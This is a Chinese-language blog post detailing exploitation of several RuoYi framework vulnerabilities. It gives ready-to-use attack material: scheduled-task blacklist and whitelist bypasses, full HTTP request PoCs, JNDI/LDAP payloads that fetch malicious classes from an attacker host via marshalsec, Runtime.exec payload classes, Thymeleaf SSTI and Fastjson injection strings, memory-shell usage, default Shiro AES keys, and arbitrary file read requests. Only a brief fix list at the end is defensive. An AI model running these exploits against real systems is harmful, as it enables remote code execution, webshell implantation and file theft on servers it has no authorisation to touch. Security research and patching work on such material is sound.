承接上文,本文将聚焦若依(RuoYi)框架在多个历史版本中存在的其他安全漏洞,包括定时任务安全绕过、反序列化、SSTI模板注入等,并提供详细的分析与复现过程。
版本4.6.2<=Ruoyi<4.7.2的黑名单绕过
在这个版本区间,系统通过黑名单机制限制了定时任务调用字符串,屏蔽了 ldap、http(s)、rmi 等远程协议的直接调用。

绕过方法:
只需在屏蔽的协议字符串中插入单引号进行分隔,即可绕过检测。例如:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["h\'t\'t\'p\'://127.0.0.1:88/yaml-payload.jar"]]]]')
org.springframework.jndi.JndiLocatorDelegate.lookup('r\'m\'i://127.0.0.1:1099/refObj')


源代码层面的绕过
在版本 4.6.2<=Ruoyi<4.7.2 中,过滤逻辑位于 ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobController.java 的 addSave 方法中。


绕过方法: 直接注释掉这段 if 判断中的黑名单过滤代码,即可在源码层面绕过防护。
版本:RuoYi <=4.7.8 的白名单绕过
新版本(<=4.7.8)采用了更严格的白名单机制,仅允许调用 com.ruoyi 包下的类。

由于过滤仅发生在创建或修改任务时,而 genTableServiceImpl 中存在一个可以执行任意 SQL 语句的方法。因此,攻击思路是:先创建一个合法任务,然后利用 genTableServiceImpl 修改数据库中的 invoke_target 字段为恶意代码,从而实现 RCE。
复现步骤:
- 创建两个合法的计划任务
发送以下 POST 请求两次,创建两个任务(假设获取到的任务 ID 为 103 和 104)。
POST /monitor/job/add HTTP/1.1
Host: 192.168.137.1
Content-Length: 146
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close
createBy=admin&jobName=test1&jobGroup=DEFAULT&invokeTarget=ryTask.ryParams('ry')&cronExpression=++++*+%3F&misfirePolicy=1&concurrent=1&remark=
2. **利用 SQL 修改另一个任务的调用目标**
修改任务 103 的 `invokeTarget`,使其执行 SQL 来更新任务 104 的 `invokeTarget`。
```java
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729 WHERE job_id = 104;')
其中 0x6a... 是 javax.naming.InitialContext.lookup('ldap://xcrlginufj.dgrh3.cn') 的十六进制编码,可替换为你的恶意 LDAP 地址。


修改任务 103 的请求包:
POST /monitor/job/edit HTTP/1.1
Host: 192.168.137.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/edit/104
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close
jobId=103&updateBy=admin&jobName=test1&jobGroup=DEFAULT&invokeTarget=genTableServiceImpl.createTable('UPDATE+sys_job+SET+invoke_target+%3D+0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729+WHERE+job_id+%3D+104%3B')&cronExpression=*+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=1&remark=
- 执行任务 103,更新数据库
执行任务 103,触发 SQL 语句,将恶意代码写入任务 104。
POST /monitor/job/run HTTP/1.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/edit/104
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close
Host: 192.168.137.1
jobId=103
4. **执行任务 104,触发漏洞**
此时任务 104 的调用目标已被修改为恶意 JNDI 调用。

执行任务 104,触发 SnakeYAML 反序列化或 JNDI 注入。
```http
POST /monitor/job/run HTTP/1.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/edit/104
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close
Host: 192.168.137.1
jobId=104
不出网利用
当目标服务器无法出网时,需要将恶意 JAR 文件上传到服务器本地可访问的位置。
利用方法:
在定时任务中创建任务,调用目标如下(将 you_url_of_jar 替换为服务器本地的 JAR 文件路径):
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///path/to/your/malicious.jar"]]]]')

若依 SnakeYAML 反序列化注入内存马
-
RuoYi (前后端不分离版本):
- 直接执行命令:
?cmd=whoami
- 连接冰蝎:
/login?cmd=1 (cmd 不为空即可),密码为 rebeyond。
- 卸载内存马:
?cmd=delete
-
RuoYi Vue (前后端分离版本):
- 直接执行命令:
/dev-api/?cmd=whoami
- 连接冰蝎:暂不支持。
- 卸载内存马:
/dev-api/?cmd=delete

漏洞五:后台定时任务RCE(JNDI注入)
此漏洞影响若依 4.2 等版本,通过 JNDI 远程加载恶意类。仅适用于低版本 JDK(如 JDK 8u113 之前)。
复现步骤:
-
编写并编译恶意类 (以弹出计算器为例)
Calc.java:
public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}
编译:javac Calc.java

-
启动 HTTP 服务器暴露恶意类
python -m http.server 5555 --bind 0.0.0.0

确保可通过 http://YOUR_IP:5555/Calc.class 访问。
-
启动恶意 JNDI 服务 (RMI/LDAP)
- RMI 注入:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://YOUR_IP:5555/#Calc" 8888

- LDAP 注入:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR_IP:5555/#Calc" 8888
-
在若依后台创建定时任务
- RMI 利用:
目标字符串:org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://YOUR_IP:8888/Calc')
- LDAP 利用:
目标字符串:javax.naming.InitialContext.lookup('ldap://YOUR_IP:8888/Calc')
Cron 表达式:0/10 * * * * ?



JNDI、LDAP、RMI 关系简述:
- JNDI (Java Naming and Directory Interface):是一个 Java API,提供统一的接口来访问各种命名和目录服务(如 LDAP、RMI)。
- LDAP (Lightweight Directory Access Protocol):是一种访问目录服务的协议,常用于用户认证。
- RMI (Remote Method Invocation):是 Java 的远程方法调用机制。
简单来说,JNDI 是“接口”,LDAP 和 RMI 是它支持的两种“服务”。攻击中,应用通过 JNDI 接口去请求攻击者控制的 LDAP 或 RMI 服务,从而加载恶意类。
漏洞六:后台任意文件下载漏洞
该漏洞影响若依管理系统 4.7.6 及以下版本,后台 /common/download/resource 接口未对文件路径做严格限制,导致可下载服务器任意文件。
漏洞复现:
- 前提:已登录后台。
- 通过定时任务接口,利用
ruoYiConfig.setProfile 设置一个任意文件路径。
POC:
POST /monitor/job/add HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://127.0.0.1/index
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=bac0bc47-598f-4f6c-b2db-642244070e11
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('c://windows/win.ini')&cronExpression=0%2F15+++++%3F&misfirePolicy=1&concurrent=1&status=0&remark=

3. **直接下载文件**:通过浏览器访问以下地址即可下载目标文件。
http://127.0.0.1/common/download/resource?resource=c://windows/win.ini::.zip
```

另一个文件读取漏洞:
/demo/mail/sendMessageWithAttachment 接口的 filePath 参数也存在任意文件读取。
GET /demo/mail/sendMessageWithAttachment?to=test111@163.com&subject=Test-Mail&text=This%20is%20a%20test%20message&filePath=/etc/passwd HTTP/1.1
漏洞七:Shiro反序列化漏洞 (RuoYi<V-4.6.2)
若依早期版本集成了 Shiro,且使用了默认或固定的 AES 加密密钥,导致存在 Shiro-550 类型反序列化漏洞。
漏洞复现:
- 使用工具探测:例如使用
ShiroAttack2 工具。
java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

- 选择利用链:对于 RuoYi-4.2,通常可用
CommonsBeanutilsString 这条链。高版本 Shiro 需勾选 AES GCM 模式。

- 执行命令:利用发现的链执行系统命令。

RuoYi 各版本默认密钥参考:
| RuoYi 版本号 |
默认 AES 密钥 |
| 4.6.1 - 4.3.1 |
zSyK5Kp6PZAAjlT+eeNMlg== |
| 3.4 及以下 |
fCq+/xW488hMTCD+cmJ3aQ== |
注意:4.2 及以上版本需使用 GCM 模式。从 RuoYi-4.6.2 开始,密钥改为随机生成,若开发者未手动指定固定密钥,则无法直接利用。
漏洞八:SSTI(模板注入)漏洞 (仅适用V-4.7.1)
在 RuoYi 4.7.1 及之前版本中,部分控制器(如 CacheController、DemoFormController)的返回字段可控,且系统使用 Thymeleaf 视图渲染引擎,导致存在 SSTI 漏洞。
可注入接口:
/monitor/cache/getNames
/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task
这些接口的 fragment 参数未经处理直接拼接进返回的视图路径,导致模板注入。

漏洞复现:
构造 POST 请求,在 fragment 参数中插入 Thymeleaf 表达式。高版本 Thymeleaf 对 T() 有限制,可通过在 T 和 ( 之间加空格绕过。
Payload: ${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
以 /monitor/cache/getNames 为例:
POST /monitor/cache/getNames HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b8ab242b-7719-46e1-8332-c8ea389407d2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec("calc.exe")}

其他三个接口(/getKeys、/getValue、/localrefresh/task)的利用方式与 Payload 完全一致。
注意:在 RuoYi-4.7.2 版本中,Thymeleaf 升级至 3.0.14.RELEASE,此注入方法已失效。
漏洞九:Fastjson组件漏洞
若依框架集成了 Fastjson 组件,在特定接口(如代码生成功能的保存接口)可能存在 Fastjson 反序列化漏洞,可通过 JNDI 注入进行利用。这类漏洞属于 安全/渗透/逆向 领域常见的利用方式。
漏洞利用步骤:
- 访问代码生成功能:系统工具 -> 代码生成 -> 导入表
sys_user_role -> 修改生成配置。

- 修改配置并抓包:在保存配置时拦截 POST 请求到
/tool/gen/edit。


- 注入Payload:在请求参数中插入 Fastjson JNDI 注入的 Payload。
POST /tool/gen/edit HTTP/1.1
...
params%5B@type%5D=org.apache.shiro.jndi.JndiObjectFactory¶ms%5BresourceName%5D=ldap://YOUR_VPS_IP/Evil

创建并托管恶意类:
-
新建一个 Maven 项目,创建一个 Evil.java 类。



-
Evil.java 内容:
import java.io.IOException;
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

-
编译并复制 Evil.class 到 VPS。

-
在 VPS 启动 Web 和 LDAP 服务:
# 启动 HTTP 服务器托管 Evil.class
python -m http.server 80
# 启动 LDAP 服务指向恶意类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://YOUR_VPS_IP:80/#Evil 6666
当若依后台处理包含恶意 Payload 的请求时,会触发 Fastjson 反序列化,通过 JNDI 加载远程的 Evil 类,从而执行恶意代码。
其他漏洞
任意用户注册:
部分版本的前台或后台存在未授权或可被绕过的用户注册功能,接口路径通常为 /register。

自动化利用工具:
社区和安全研究者开发了一些针对若依框架的自动化综合利用工具,可以一键检测和利用多个漏洞,极大地提升了在授权测试中的效率。这体现了 开源实战 社区在安全工具开发方面的活力。


总结与修复建议
本文详细分析了若依(RuoYi)框架多个历史版本中存在的安全漏洞及其利用方式。这些漏洞主要源于不安全的反序列化、未净化的用户输入、默认配置密钥以及组件自身的安全问题。
修复建议:
- 及时升级:升级到若依官方发布的最新安全版本。
- 组件更新:确保使用的第三方组件(如 Fastjson、Shiro、SnakeYAML、Thymeleaf)为已知安全版本。
- 安全配置:避免使用默认或硬编码的密钥,Shiro 密钥应使用强随机生成。
- 输入校验:对所有用户输入进行严格校验和过滤,特别是用于文件路径、类名、方法调用、模板渲染的参数。
- 权限最小化:确保后台管理接口具备严格的权限控制,避免未授权访问。
- 代码审计:在定制开发过程中,对涉及动态执行、文件操作、数据库操作、反序列化的代码进行重点安全审计。
对于开发者和安全人员而言,深入理解这些漏洞的原理和利用链,不仅能帮助修复自身项目,也是提升 Java 安全开发能力的宝贵实践。更多技术讨论和资源分享,欢迎访问云栈社区。